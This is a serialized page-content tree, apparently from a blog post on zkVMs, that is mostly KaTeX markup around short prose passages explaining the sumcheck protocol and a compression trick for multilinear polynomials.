"style":3761},[3760],[],{"type":26,"tag":475,"props":108452,"children":108454},{"className":108453},[3766,3767,3768,3769],[108455],{"type":26,"tag":475,"props":108456,"children":108458},{"className":108457},[3719,3769],[108459,108516,108521,108526,108531,108536,108541],{"type":26,"tag":475,"props":108460,"children":108462},{"className":108461},[3719,3769],[108463,108468],{"type":26,"tag":475,"props":108464,"children":108466},{"className":108465},[3719,21296,3769],[108467],{"type":32,"value":18984},{"type":26,"tag":475,"props":108469,"children":108471},{"className":108470},[3736],[108472],{"type":26,"tag":475,"props":108473,"children":108475},{"className":108474},[3741,21350],[108476,108505],{"type":26,"tag":475,"props":108477,"children":108479},{"className":108478},[3746],[108480,108500],{"type":26,"tag":475,"props":108481,"children":108483},{"className":108482,"style":108330},[3751],[108484],{"type":26,"tag":475,"props":108485,"children":108486},{"style":108334},[108487,108491],{"type":26,"tag":475,"props":108488,"children":108490},{"className":108489,"style":108339},[3760],[],{"type":26,"tag":475,"props":108492,"children":108494},{"className":108493},[3766,108344,108345,3769],[108495],{"type":26,"tag":475,"props":108496,"children":108498},{"className":108497},[3719,3769],[108499],{"type":32,"value":2830},{"type":26,"tag":475,"props":108501,"children":108503},{"className":108502},[21453],[108504],{"type":32,"value":21456},{"type":26,"tag":475,"props":108506,"children":108508},{"className":108507},[3746],[108509],{"type":26,"tag":475,"props":108510,"children":108512},{"className":108511,"style":108364},[3751],[108513],{"type":26,"tag":475,"props":108514,"children":108515},{},[],{"type":26,"tag":475,"props":108517,"children":108519},{"className":108518},[3903,3769],[108520],{"type":32,"value":21403},{"type":26,"tag":475,"props":108522,"children":108524},{"className":108523},[21425,3769],[108525],{"type":32,"value":76247},{"type":26,"tag":475,"props":108527,"children":108529},{"className":108528},[3719,3769],[108530],{"type":32,"value":3732},{"type":26,"tag":475,"props":108532,"children":108534},{"className":108533},[3832,3769],[108535],{"type":32,"value":3835},{"type":26,"tag":475,"props":108537,"children":108539},{"className":108538},[3719,3769],[108540],{"type":32,"value":3722},{"type":26,"tag":475,"props":108542,"children":108544},{"className":108543},[21447,3769],[108545],{"type":32,"value":722},{"type":26,"tag":475,"props":108547,"children":108549},{"className":108548},[21453],[108550],{"type":32,"value":21456},{"type":26,"tag":475,"props":108552,"children":108554},{"className":108553},[3746],[108555],{"type":26,"tag":475,"props":108556,"children":108558},{"className":108557,"style":21464},[3751],[108559],{"type":26,"tag":475,"props":108560,"children":108561},{},[],{"type":26,"tag":475,"props":108563,"children":108565},{"className":108564,"style":3839},[3800],[],{"type":26,"tag":475,"props":108567,"children":108570},{"className":108568},[108569],"minner",[108571],{"type":32,"value":108572},"⋯",{"type":26,"tag":475,"props":108574,"children":108576},{"className":108575,"style":3839},[3800],[],{"type":26,"tag":475,"props":108578,"children":108580},{"className":108579},[21332],[108581,108586],{"type":26,"tag":475,"props":108582,"children":108584},{"className":108583,"style":21339},[21332,21337,21338],[108585],{"type":32,"value":108274},{"type":26,"tag":475,"props":108587,"children":108589},{"className":108588},[3736],[108590],{"type":26,"tag":475,"props":108591,"children":108593},{"className":108592},[3741,21350],[108594,108710],{"type":26,"tag":475,"props":108595,"children":108597},{"className":108596},[3746],[108598,108705],{"type":26,"tag":475,"props":108599,"children":108601},{"className":108600,"style":21359},[3751],[108602],{"type":26,"tag":475,"props":108603,"children":108604},{"style":21363},[108605,108609],{"type":26,"tag":475,"props":108606,"children":108608},{"className":108607,"style":3761},[3760],[],{"type":26,"tag":475,"props":108610,"children":108612},{"className":108611},[3766,3767,3768,3769],[108613],{"type":26,"tag":475,"props":108614,"children":108616},{"className":108615},[3719,3769],[108617,108675,108680,108685,108690,108695,108700],{"type":26,"tag":475,"props":108618,"children":108620},{"className":108619},[3719,3769],[108621,108626],{"type":26,"tag":475,"props":108622,"children":108624},{"className":108623},[3719,21296,3769],[108625],{"type":32,"value":18984},{"type":26,"tag":475,"props":108627,"children":108629},{"className":108628},[3736],[108630],{"type":26,"tag":475,"props":108631,"children":108633},{"className":108632},[3741,21350],[108634,108664],{"type":26,"tag":475,"props":108635,"children":108637},{"className":108636},[3746],[108638,108659],{"type":26,"tag":475,"props":108639,"children":108642},{"className":108640,"style":108641},[3751],"height:0.1645em;",[108643],{"type":26,"tag":475,"props":108644,"children":108645},{"style":108334},[108646,108650],{"type":26,"tag":475,"props":108647,"children":108649},{"className":108648,"style":108339},[3760],[],{"type":26,"tag":475,"props":108651,"children":108653},{"className":108652},[3766,108344,108345,3769],[108654],{"type":26,"tag":475,"props":108655,"children":108657},{"className":108656},[3719,21296,3769],[108658],{"type":32,"value":56095},{"type":26,"tag":475,"props":108660,"children":108662},{"className":108661},[21453],[108663],{"type":32,"value":21456},{"type":26,"tag":475,"props":108665,"children":108667},{"className":108666},[3746],[108668],{"type":26,"tag":475,"props":108669,"children":108671},{"className":108670,"style":108364},[3751],[108672],{"type":26,"tag":475,"props":108673,"children":108674},{},[],{"type":26,"tag":475,"props":108676,"children":108678},{"className":108677},[3903,3769],[108679],{"type":32,"value":21403},{"type":26,"tag":475,"props":108681,"children":108683},{"className":108682},[21425,3769],[108684],{"type":32,"value":76247},{"type":26,"tag":475,"props":108686,"children":108688},{"className":108687},[3719,3769],[108689],{"type":32,"value":3732},{"type":26,"tag":475,"props":108691,"children":108693},{"className":108692},[3832,3769],[108694],{"type":32,"value":3835},{"type":26,"tag":475,"props":108696,"children":108698},{"className":108697},[3719,3769],[108699],{"type":32,"value":3722},{"type":26,"tag":475,"props":108701,"children":108703},{"className":108702},[21447,3769],[108704],{"type":32,"value":722},{"type":26,"tag":475,"props":108706,"children":108708},{"className":108707},[21453],[108709],{"type":32,"value":21456},{"type":26,"tag":475,"props":108711,"children":108713},{"className":108712},[3746],[108714],{"type":26,"tag":475,"props":108715,"children":108717},{"className":108716,"style":21464},[3751],[108718],{"type":26,"tag":475,"props":108719,"children":108720},{},[],{"type":26,"tag":475,"props":108722,"children":108724},{"className":108723,"style":3839},[3800],[],{"type":26,"tag":475,"props":108726,"children":108728},{"className":108727,"style":93153},[3719,21296],[108729],{"type":32,"value":108730},"g",{"type":26,"tag":475,"props":108732,"children":108734},{"className":108733},[21425],[108735],{"type":32,"value":626},{"type":26,"tag":475,"props":108737,"children":108739},{"className":108738},[3719],[108740,108745],{"type":26,"tag":475,"props":108741,"children":108743},{"className":108742},[3719,21296],[108744],{"type":32,"value":18984},{"type":26,"tag":475,"props":108746,"children":108748},{"className":108747},[3736],[108749],{"type":26,"tag":475,"props":108750,"children":108752},{"className":108751},[3741,21350],[108753,108782],{"type":26,"tag":475,"props":108754,"children":108756},{"className":108755},[3746],[108757,108777],{"type":26,"tag":475,"props":108758,"children":108760},{"className":108759,"style":92719},[3751],[108761],{"type":26,"tag":475,"props":108762,"children":108763},{"style":92723},[108764,108768],{"type":26,"tag":475,"props":108765,"children":108767},{"className":108766,"style":3761},[3760],[],{"type":26,"tag":475,"props":108769,"children":108771},{"className":108770},[3766,3767,3768,3769],[108772],{"type":26,"tag":475,"props":108773,"children":108775},{"className":108774},[3719,3769],[108776],{"type":32,"value":3722},{"type":26,"tag":475,"props":108778,"children":108780},{"className":108779},[21453],[108781],{"type":32,"value":21456},{"type":26,"tag":475,"props":108783,"children":108785},{"className":108784},[3746],[108786],{"type":26,"tag":475,"props":108787,"children":108789},{"className":108788,"style":92750},[3751],[108790],{"type":26,"tag":475,"props":108791,"children":108792},{},[],{"type":26,"tag":475,"props":108794,"children":108796},{"className":108795},[3832],[108797],{"type":32,"value":3835},{"type":26,"tag":475,"props":108799,"children":108801},{"className":108800,"style":3839},[3800],[],{"type":26,"tag":475,"props":108803,"children":108805},{"className":108804},[3719],[108806,108811],{"type":26,"tag":475,"props":108807,"children":108809},{"className":108808},[3719,21296],[108810],{"type":32,"value":18984},{"type":26,"tag":475,"props":108812,"children":108814},{"className":108813},[3736],[108815],{"type":26,"tag":475,"props":108816,"children":108818},{"className":108817},[3741,21350],[108819,108848],{"type":26,"tag":475,"props":108820,"children":108822},{"className":108821},[3746],[108823,108843],{"type":26,"tag":475,"props":108824,"children":108826},{"className":108825,"style":92719},[3751],[108827],{"type":26,"tag":475,"props":108828,"children":108829},{"style":92723},[108830,108834],{"type":26,"tag":475,"props":108831,"children":108833},{"className":108832,"style":3761},[3760],[],{"type":26,"tag":475,"props":108835,"children":108837},{"className":108836},[3766,3767,3768,3769],[108838],{"type":26,"tag":475,"props":108839,"children":108841},{"className":108840},[3719,3769],[108842],{"type":32,"value":2830},{"type":26,"tag":475,"props":108844,"children":108846},{"className":108845},[21453],[108847],{"type":32,"value":21456},{"type":26,"tag":475,"props":108849,"children":108851},{"className":108850},[3746],[108852],{"type":26,"tag":475,"props":108853,"children":108855},{"className":108854,"style":92750},[3751],[108856],{"type":26,"tag":475,"props":108857,"children":108858},{},[],{"type":26,"tag":475,"props":108860,"children":108862},{"className":108861},[3832],[108863],{"type":32,"value":3835},{"type":26,"tag":475,"props":108865,"children":108867},{"className":108866,"style":3839},[3800],[],{"type":26,"tag":475,"props":108869,"children":108871},{"className":108870},[108569],[108872],{"type":32,"value":108873},"…",{"type":26,"tag":475,"props":108875,"children":108877},{"className":108876,"style":3839},[3800],[],{"type":26,"tag":475,"props":108879,"children":108881},{"className":108880},[3832],[108882],{"type":32,"value":3835},{"type":26,"tag":475,"props":108884,"children":108886},{"className":108885,"style":3839},[3800],[],{"type":26,"tag":475,"props":108888,"children":108890},{"className":108889},[3719],[108891,108896],{"type":26,"tag":475,"props":108892,"children":108894},{"className":108893},[3719,21296],[108895],{"type":32,"value":18984},{"type":26,"tag":475,"props":108897,"children":108899},{"className":108898},[3736],[108900],{"type":26,"tag":475,"props":108901,"children":108903},{"className":108902},[3741,21350],[108904,108934],{"type":26,"tag":475,"props":108905,"children":108907},{"className":108906},[3746],[108908,108929],{"type":26,"tag":475,"props":108909,"children":108912},{"className":108910,"style":108911},[3751],"height:0.1514em;",[108913],{"type":26,"tag":475,"props":108914,"children":108915},{"style":92723},[108916,108920],{"type":26,"tag":475,"props":108917,"children":108919},{"className":108918,"style":3761},[3760],[],{"type":26,"tag":475,"props":108921,"children":108923},{"className":108922},[3766,3767,3768,3769],[108924],{"type":26,"tag":475,"props":108925,"children":108927},{"className":108926},[3719,21296,3769],[108928],{"type":32,"value":56095},{"type":26,"tag":475,"props":108930,"children":108932},{"className":108931},[21453],[108933],{"type":32,"value":21456},{"type":26,"tag":475,"props":108935,"children":108937},{"className":108936},[3746],[108938],{"type":26,"tag":475,"props":108939,"children":108941},{"className":108940,"style":92750},[3751],[108942],{"type":26,"tag":475,"props":108943,"children":108944},{},[],{"type":26,"tag":475,"props":108946,"children":108948},{"className":108947},[21447],[108949],{"type":32,"value":2835},{"type":26,"tag":35,"props":108951,"children":108952},{},[108953,108955,109016],{"type":32,"value":108954},"The naive approach would be for the verifier to compute all ",{"type":26,"tag":53,"props":108956,"children":108958},{"className":108957},[3691,3692],[108959],{"type":26,"tag":475,"props":108960,"children":108962},{"className":108961},[3697],[108963],{"type":26,"tag":475,"props":108964,"children":108966},{"className":108965,"ariaHidden":3703},[3702],[108967],{"type":26,"tag":475,"props":108968,"children":108970},{"className":108969},[3708],[108971,108975],{"type":26,"tag":475,"props":108972,"children":108974},{"className":108973,"style":108196},[3713],[],{"type":26,"tag":475,"props":108976,"children":108978},{"className":108977},[3719],[108979,108984],{"type":26,"tag":475,"props":108980,"children":108982},{"className":108981},[3719],[108983],{"type":32,"value":2830},{"type":26,"tag":475,"props":108985,"children":108987},{"className":108986},[3736],[108988],{"type":26,"tag":475,"props":108989,"children":108991},{"className":108990},[3741],[108992],{"type":26,"tag":475,"props":108993,"children":108995},{"className":108994},[3746],[108996],{"type":26,"tag":475,"props":108997,"children":108999},{"className":108998,"style":108196},[3751],[109000],{"type":26,"tag":475,"props":109001,"children":109002},{"style":3755},[109003,109007],{"type":26,"tag":475,"props":109004,"children":109006},{"className":109005,"style":3761},[3760],[],{"type":26,"tag":475,"props":109008,"children":109010},{"className":109009},[3766,3767,3768,3769],[109011],{"type":26,"tag":475,"props":109012,"children":109014},{"className":109013},[3719,21296,3769],[109015],{"type":32,"value":56095},{"type":32,"value":109017}," evaluations. This is exponentially expensive.",{"type":26,"tag":35,"props":109019,"children":109020},{},[109021,109023,109028],{"type":32,"value":109022},"The sumcheck protocol is a clever interactive protocol that reduces the exponential number of polynomial evaluations to checking ",{"type":26,"tag":105,"props":109024,"children":109025},{},[109026],{"type":32,"value":109027},"only one",{"type":32,"value":353},{"type":26,"tag":35,"props":109030,"children":109031},{},[109032],{"type":26,"tag":132,"props":109033,"children":109036},{"alt":109034,"src":109035},"sumcheck_v2","/posts/zkvms-unfaithful-claims/sumcheck_v2.svg",[],{"type":26,"tag":35,"props":109038,"children":109039},{},[109040,109042,109134,109136,109321,109323,109348,109350,109428,109430,109509],{"type":32,"value":109041},"In each round, the prover must send a polynomial ",{"type":26,"tag":53,"props":109043,"children":109045},{"className":109044},[3691,3692],[109046],{"type":26,"tag":475,"props":109047,"children":109049},{"className":109048},[3697],[109050],{"type":26,"tag":475,"props":109051,"children":109053},{"className":109052,"ariaHidden":3703},[3702],[109054],{"type":26,"tag":475,"props":109055,"children":109057},{"className":109056},[3708],[109058,109062,109119,109124,109129],{"type":26,"tag":475,"props":109059,"children":109061},{"className":109060,"style":3821},[3713],[],{"type":26,"tag":475,"props":109063,"children":109065},{"className":109064},[3719],[109066,109071],{"type":26,"tag":475,"props":109067,"children":109069},{"className":109068,"style":93153},[3719,21296],[109070],{"type":32,"value":108730},{"type":26,"tag":475,"props":109072,"children":109074},{"className":109073},[3736],[109075],{"type":26,"tag":475,"props":109076,"children":109078},{"className":109077},[3741,21350],[109079,109108],{"type":26,"tag":475,"props":109080,"children":109082},{"className":109081},[3746],[109083,109103],{"type":26,"tag":475,"props":109084,"children":109086},{"className":109085,"style":93196},[3751],[109087],{"type":26,"tag":475,"props":109088,"children":109089},{"style":93200},[109090,109094],{"type":26,"tag":475,"props":109091,"children":109093},{"className":109092,"style":3761},[3760],[],{"type":26,"tag":475,"props":109095,"children":109097},{"className":109096},[3766,3767,3768,3769],[109098],{"type":26,"tag":475,"props":109099,"children":109101},{"className":109100},[3719,21296,3769],[109102],{"type":32,"value":3445},{"type":26,"tag":475,"props":109104,"children":109106},{"className":109105},[21453],[109107],{"type":32,"value":21456},{"type":26,"tag":475,"props":109109,"children":109111},{"className":109110},[3746],[109112],{"type":26,"tag":475,"props":109113,"children":109115},{"className":109114,"style":92750},[3751],[109116],{"type":26,"tag":475,"props":109117,"children":109118},{},[],{"type":26,"tag":475,"props":109120,"children":109122},{"className":109121},[21425],[109123],{"type":32,"value":626},{"type":26,"tag":475,"props":109125,"children":109127},{"className":109126,"style":94687},[3719,21296],[109128],{"type":32,"value":5847},{"type":26,"tag":475,"props":109130,"children":109132},{"className":109131},[21447],[109133],{"type":32,"value":2835},{"type":32,"value":109135}," such that ",{"type":26,"tag":53,"props":109137,"children":109139},{"className":109138},[3691,3692],[109140],{"type":26,"tag":475,"props":109141,"children":109143},{"className":109142},[3697],[109144],{"type":26,"tag":475,"props":109145,"children":109147},{"className":109146,"ariaHidden":3703},[3702],[109148,109241],{"type":26,"tag":475,"props":109149,"children":109151},{"className":109150},[3708],[109152,109156,109213,109218,109223,109228,109232,109237],{"type":26,"tag":475,"props":109153,"children":109155},{"className":109154,"style":3821},[3713],[],{"type":26,"tag":475,"props":109157,"children":109159},{"className":109158},[3719],[109160,109165],{"type":26,"tag":475,"props":109161,"children":109163},{"className":109162,"style":93153},[3719,21296],[109164],{"type":32,"value":108730},{"type":26,"tag":475,"props":109166,"children":109168},{"className":109167},[3736],[109169],{"type":26,"tag":475,"props":109170,"children":109172},{"className":109171},[3741,21350],[109173,109202],{"type":26,"tag":475,"props":109174,"children":109176},{"className":109175},[3746],[109177,109197],{"type":26,"tag":475,"props":109178,"children":109180},{"className":109179,"style":93196},[3751],[109181],{"type":26,"tag":475,"props":109182,"children":109183},{"style":93200},[109184,109188],{"type":26,"tag":475,"props":109185,"children":109187},{"className":109186,"style":3761},[3760],[],{"type":26,"tag":475,"props":109189,"children":109191},{"className":109190},[3766,3767,3768,3769],[109192],{"type":26,"tag":475,"props":109193,"children":109195},{"className":109194},[3719,21296,3769],[109196],{"type":32,"value":3445},{"type":26,"tag":475,"props":109198,"children":109200},{"className":109199},[21453],[109201],{"type":32,"value":21456},{"type":26,"tag":475,"props":109203,"children":109205},{"className":109204},[3746],[109206],{"type":26,"tag":475,"props":109207,"children":109209},{"className":109208,"style":92750},[3751],[109210],{"type":26,"tag":475,"props":109211,"children":109212},{},[],{"type":26,"tag":475,"props":109214,"children":109216},{"className":109215},[21425],[109217],{"type":32,"value":626},{"type":26,"tag":475,"props":109219,"children":109221},{"className":109220},[3719],[109222],{"type":32,"value":3732},{"type":26,"tag":475,"props":109224,"children":109226},{"className":109225},[21447],[109227],{"type":32,"value":2835},{"type":26,"tag":475,"props":109229,"children":109231},{"className":109230,"style":3801},[3800],[],{"type":26,"tag":475,"props":109233,"children":109235},{"className":109234},[3806],[109236],{"type":32,"value":1106},{"type":26,"tag":475,"props":109238,"children":109240},{"className":109239,"style":3801},[3800],[],{"type":26,"tag":475,"props":109242,"children":109244},{"className":109243},[3708],[109245,109249,109306,109311,109316],{"type":26,"tag":475,"props":109246,"children":109248},{"className":109247,"style":3821},[3713],[],{"type":26,"tag":475,"props":109250,"children":109252},{"className":109251},[3719],[109253,109258],{"type":26,"tag":475,"props":109254,"children":109256},{"className":109255,"style":93153},[3719,21296],[109257],{"type":32,"value":108730},{"type":26,"tag":475,"props":109259,"children":109261},{"className":109260},[3736],[109262],{"type":26,"tag":475,"props":109263,"children":109265},{"className":109264},[3741,21350],[109266,109295],{"type":26,"tag":475,"props":109267,"children":109269},{"className":109268},[3746],[109270,109290],{"type":26,"tag":475,"props":109271,"children":109273},{"className":109272,"style":93196},[3751],[109274],{"type":26,"tag":475,"props":109275,"children":109276},{"style":93200},[109277,109281],{"type":26,"tag":475,"props":109278,"children":109280},{"className":109279,"style":3761},[3760],[],{"type":26,"tag":475,"props":109282,"children":109284},{"className":109283},[3766,3767,3768,3769],[109285],{"type":26,"tag":475,"props":109286,"children":109288},{"className":109287},[3719,21296,3769],[109289],{"type":32,"value":3445},{"type":26,"tag":475,"props":109291,"children":109293},{"className":109292},[21453],[109294],{"type":32,"value":21456},{"type":26,"tag":475,"props":109296,"children":109298},{"className":109297},[3746],[109299],{"type":26,"tag":475,"props":109300,"children":109302},{"className":109301,"style":92750},[3751],[109303],{"type":26,"tag":475,"props":109304,"children":109305},{},[],{"type":26,"tag":475,"props":109307,"children":109309},{"className":109308},[21425],[109310],{"type":32,"value":626},{"type":26,"tag":475,"props":109312,"children":109314},{"className":109313},[3719],[109315],{"type":32,"value":3722},{"type":26,"tag":475,"props":109317,"children":109319},{"className":109318},[21447],[109320],{"type":32,"value":2835},{"type":32,"value":109322}," equals the previous claim. If the prover is lying about the original sum ",{"type":26,"tag":53,"props":109324,"children":109326},{"className":109325},[3691,3692],[109327],{"type":26,"tag":475,"props":109328,"children":109330},{"className":109329},[3697],[109331],{"type":26,"tag":475,"props":109332,"children":109334},{"className":109333,"ariaHidden":3703},[3702],[109335],{"type":26,"tag":475,"props":109336,"children":109338},{"className":109337},[3708],[109339,109343],{"type":26,"tag":475,"props":109340,"children":109342},{"className":109341,"style":21291},[3713],[],{"type":26,"tag":475,"props":109344,"children":109346},{"className":109345,"style":92901},[3719,21296],[109347],{"type":32,"value":92904},{"type":32,"value":109349},", then they must lie about ",{"type":26,"tag":53,"props":109351,"children":109353},{"className":109352},[3691,3692],[109354],{"type":26,"tag":475,"props":109355,"children":109357},{"className":109356},[3697],[109358],{"type":26,"tag":475,"props":109359,"children":109361},{"className":109360,"ariaHidden":3703},[3702],[109362],{"type":26,"tag":475,"props":109363,"children":109365},{"className":109364},[3708],[109366,109371],{"type":26,"tag":475,"props":109367,"children":109370},{"className":109368,"style":109369},[3713],"height:0.625em;vertical-align:-0.1944em;",[],{"type":26,"tag":475,"props":109372,"children":109374},{"className":109373},[3719],[109375,109380],{"type":26,"tag":475,"props":109376,"children":109378},{"className":109377,"style":93153},[3719,21296],[109379],{"type":32,"value":108730},{"type":26,"tag":475,"props":109381,"children":109383},{"className":109382},[3736],[109384],{"type":26,"tag":475,"props":109385,"children":109387},{"className":109386},[3741,21350],[109388,109417],{"type":26,"tag":475,"props":109389,"children":109391},{"className":109390},[3746],[109392,109412],{"type":26,"tag":475,"props":109393,"children":109395},{"className":109394,"style":93196},[3751],[109396],{"type":26,"tag":475,"props":109397,"children":109398},{"style":93200},[109399,109403],{"type":26,"tag":475,"props":109400,"children":109402},{"className":109401,"style":3761},[3760],[],{"type":26,"tag":475,"props":109404,"children":109406},{"className":109405},[3766,3767,3768,3769],[109407],{"type":26,"tag":475,"props":109408,"children":109410},{"className":109409},[3719,21296,3769],[109411],{"type":32,"value":3445},{"type":26,"tag":475,"props":109413,"children":109415},{"className":109414},[21453],[109416],{"type":32,"value":21456},{"type":26,"tag":475,"props":109418,"children":109420},{"className":109419},[3746],[109421],{"type":26,"tag":475,"props":109422,"children":109424},{"className":109423,"style":92750},[3751],[109425],{"type":26,"tag":475,"props":109426,"children":109427},{},[],{"type":32,"value":109429}," somewhere. But since the verifier picks a random ",{"type":26,"tag":53,"props":109431,"children":109433},{"className":109432},[3691,3692],[109434],{"type":26,"tag":475,"props":109435,"children":109437},{"className":109436},[3697],[109438],{"type":26,"tag":475,"props":109439,"children":109441},{"className":109440,"ariaHidden":3703},[3702],[109442],{"type":26,"tag":475,"props":109443,"children":109445},{"className":109444},[3708],[109446,109451],{"type":26,"tag":475,"props":109447,"children":109450},{"className":109448,"style":109449},[3713],"height:0.5806em;vertical-align:-0.15em;",[],{"type":26,"tag":475,"props":109452,"children":109454},{"className":109453},[3719],[109455,109460],{"type":26,"tag":475,"props":109456,"children":109458},{"className":109457,"style":92667},[3719,21296],[109459],{"type":32,"value":93486},{"type":26,"tag":475,"props":109461,"children":109463},{"className":109462},[3736],[109464],{"type":26,"tag":475,"props":109465,"children":109467},{"className":109466},[3741,21350],[109468,109498],{"type":26,"tag":475,"props":109469,"children":109471},{"className":109470},[3746],[109472,109493],{"type":26,"tag":475,"props":109473,"children":109475},{"className":109474,"style":93196},[3751],[109476],{"type":26,"tag":475,"props":109477,"children":109479},{"style":109478},"top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;",[109480,109484],{"type":26,"tag":475,"props":109481,"children":109483},{"className":109482,"style":3761},[3760],[],{"type":26,"tag":475,"props":109485,"children":109487},{"className":109486},[3766,3767,3768,3769],[109488],{"type":26,"tag":475,"props":109489,"children":109491},{"className":109490},[3719,21296,3769],[109492],{"type":32,"value":3445},{"type":26,"tag":475,"props":109494,"children":109496},{"className":109495},[21453],[109497],{"type":32,"value":21456},{"type":26,"tag":475,"props":109499,"children":109501},{"className":109500},[3746],[109502],{"type":26,"tag":475,"props":109503,"children":109505},{"className":109504,"style":92750},[3751],[109506],{"type":26,"tag":475,"props":109507,"children":109508},{},[],{"type":32,"value":109510},", with overwhelming probability, the prover won't then be able to match the evaluation of the original polynomial.",{"type":26,"tag":70,"props":109512,"children":109514},{"id":109513},"the-compression-trick",[109515],{"type":32,"value":109516},"The Compression Trick",{"type":26,"tag":35,"props":109518,"children":109519},{},[109520,109522,109672,109674,109954],{"type":32,"value":109521},"For degree-1 (multilinear) polynomials, ",{"type":26,"tag":53,"props":109523,"children":109525},{"className":109524},[3691,3692],[109526],{"type":26,"tag":475,"props":109527,"children":109529},{"className":109528},[3697],[109530],{"type":26,"tag":475,"props":109531,"children":109533},{"className":109532,"ariaHidden":3703},[3702],[109534,109627,109654],{"type":26,"tag":475,"props":109535,"children":109537},{"className":109536},[3708],[109538,109542,109599,109604,109609,109614,109618,109623],{"type":26,"tag":475,"props":109539,"children":109541},{"className":109540,"style":3821},[3713],[],{"type":26,"tag":475,"props":109543,"children":109545},{"className":109544},[3719],[109546,109551],{"type":26,"tag":475,"props":109547,"children":109549},{"className":109548,"style":93153},[3719,21296],[109550],{"type":32,"value":108730},{"type":26,"tag":475,"props":109552,"children":109554},{"className":109553},[3736],[109555],{"type":26,"tag":475,"props":109556,"children":109558},{"className":109557},[3741,21350],[109559,109588],{"type":26,"tag":475,"props":109560,"children":109562},{"className":109561},[3746],[109563,109583],{"type":26,"tag":475,"props":109564,"children":109566},{"className":109565,"style":93196},[3751],[109567],{"type":26,"tag":475,"props":109568,"children":109569},{"style":93200},[109570,109574],{"type":26,"tag":475,"props":109571,"children":109573},{"className":109572,"style":3761},[3760],[],{"type":26,"tag":475,"props":109575,"children":109577},{"className":109576},[3766,3767,3768,3769],[109578],{"type":26,"tag":475,"props":109579,"children":109581},{"className":109580},[3719,21296,3769],[109582],{"type":32,"value":3445},{"type":26,"tag":475,"props":109584,"children":109586},{"className":109585},[21453],[109587],{"type":32,"value":21456},{"type":26,"tag":475,"props":109589,"children":109591},{"className":109590},[3746],[109592],{"type":26,"tag":475,"props":109593,"children":109595},{"className":109594,"style":92750},[3751],[109596],{"type":26,"tag":475,"props":109597,"children":109598},{},[],{"type":26,"tag":475,"props":109600,"children":109602},{"className":109601},[21425],[109603],{"type":32,"value":626},{"type":26,"tag":475,"props":109605,"children":109607},{"className":109606,"style":94687},[3719,21296],[109608],{"type":32,"value":5847},{"type":26,"tag":475,"props":109610,"children":109612},{"className":109611},[21447],[109613],{"type":32,"value":2835},{"type":26,"tag":475,"props":109615,"children":109617},{"className":109616,"style":3898},[3800],[],{"type":26,"tag":475,"props":109619,"children":109621},{"className":109620},[3903],[109622],{"type":32,"value":786},{"type":26,"tag":475,"props":109624,"children":109626},{"className":109625,"style":3898},[3800],[],{"type":26,"tag":475,"props":109628,"children":109630},{"className":109629},[3708],[109631,109636,109641,109645,109650],{"type":26,"tag":475,"props":109632,"children":109635},{"className":109633,"style":109634},[3713],"height:0.6667em;vertical-align:-0.0833em;",[],{"type":26,"tag":475,"props":109637,"children":109639},{"className":109638},[3719,21296],[109640],{"type":32,"value":116},{"type":26,"tag":475,"props":109642,"children":109644},{"className":109643,"style":3801},[3800],[],{"type":26,"tag":475,"props":109646,"children":109648},{"className":109647},[3806],[109649],{"type":32,"value":1106},{"type":26,"tag":475,"props":109651,"children":109653},{"className":109652,"style":3801},[3800],[],{"type":26,"tag":475,"props":109655,"children":109657},{"className":109656},[3708],[109658,109662,109667],{"type":26,"tag":475,"props":109659,"children":109661},{"className":109660,"style":92582},[3713],[],{"type":26,"tag":475,"props":109663,"children":109665},{"className":109664},[3719,21296],[109666],{"type":32,"value":2930},{"type":26,"tag":475,"props":109668,"children":109670},{"className":109669,"style":94687},[3719,21296],[109671],{"type":32,"value":5847},{"type":32,"value":109673}," has only two coefficients. Since the verifier knows ",{"type":26,"tag":53,"props":109675,"children":109677},{"className":109676},[3691,3692],[109678],{"type":26,"tag":475,"props":109679,"children":109681},{"className":109680},[3697],[109682],{"type":26,"tag":475,"props":109683,"children":109685},{"className":109684,"ariaHidden":3703},[3702],[109686,109779,109872],{"type":26,"tag":475,"props":109687,"children":109689},{"className":109688},[3708],[109690,109694,109751,109756,109761,109766,109770,109775],{"type":26,"tag":475,"props":109691,"children":109693},{"className":109692,"style":3821},[3713],[],{"type":26,"tag":475,"props":109695,"children":109697},{"className":109696},[3719],[109698,109703],{"type":26,"tag":475,"props":109699,"children":109701},{"className":109700,"style":93153},[3719,21296],[109702],{"type":32,"value":108730},{"type":26,"tag":475,"props":109704,"children":109706},{"className":109705},[3736],[109707],{"type":26,"tag":475,"props":109708,"children":109710},{"className":109709},[3741,21350],[109711,109740],{"type":26,"tag":475,"props":109712,"children":109714},{"className":109713},[3746],[109715,109735],{"type":26,"tag":475,"props":109716,"children":109718},{"className":109717,"style":93196},[3751],[109719],{"type":26,"tag":475,"props":109720,"children":109721},{"style":93200},[109722,109726],{"type":26,"tag":475,"props":109723,"children":109725},{"className":109724,"style":3761},[3760],[],{"type":26,"tag":475,"props":109727,"children":109729},{"className":109728},[3766,3767,3768,3769],[109730],{"type":26,"tag":475,"props":109731,"children":109733},{"className":109732},[3719,21296,3769],[109734],{"type":32,"value":3445},{"type":26,"tag":475,"props":109736,"children":109738},{"className":109737},[21453],[109739],{"type":32,"value":21456},{"type":26,"tag":475,"props":109741,"children":109743},{"className":109742},[3746],[109744],{"type":26,"tag":475,"props":109745,"children":109747},{"className":109746,"style":92750},[3751],[109748],{"type":26,"tag":475,"props":109749,"children":109750},{},[],{"type":26,"tag":475,"props":109752,"children":109754},{"className":109753},[21425],[109755],{"type":32,"value":626},{"type":26,"tag":475,"props":109757,"children":109759},{"className":109758},[3719],[109760],{"type":32,"value":3732},{"type":26,"tag":475,"props":109762,"children":109764},{"className":109763},[21447],[109765],{"type":32,"value":2835},{"type":26,"tag":475,"props":109767,"children":109769},{"className":109768,"style":3801},[3800],[],{"type":26,"tag":475,"props":109771,"children":109773},{"className":109772},[3806],[109774],{"type":32,"value":1106},{"type":26,"tag":475,"props":109776,"children":109778},{"className":109777,"style":3801},[3800],[],{"type":26,"tag":475,"props":109780,"children":109782},{"className":109781},[3708],[109783,109787,109844,109849,109854,109859,109863,109868],{"type":26,"tag":475,"props":109784,"children":109786},{"className":109785,"style":3821},[3713],[],{"type":26,"tag":475,"props":109788,"children":109790},{"className":109789},[3719],[109791,109796],{"type":26,"tag":475,"props":109792,"children":109794},{"className":109793,"style":93153},[3719,21296],[109795],{"type":32,"value":108730},{"type":26,"tag":475,"props":109797,"children":109799},{"className":109798},[3736],[109800],{"type":26,"tag":475,"props":109801,"children":109803},{"className":109802},[3741,21350],[109804,109833],{"type":26,"tag":475,"props":109805,"children":109807},{"className":10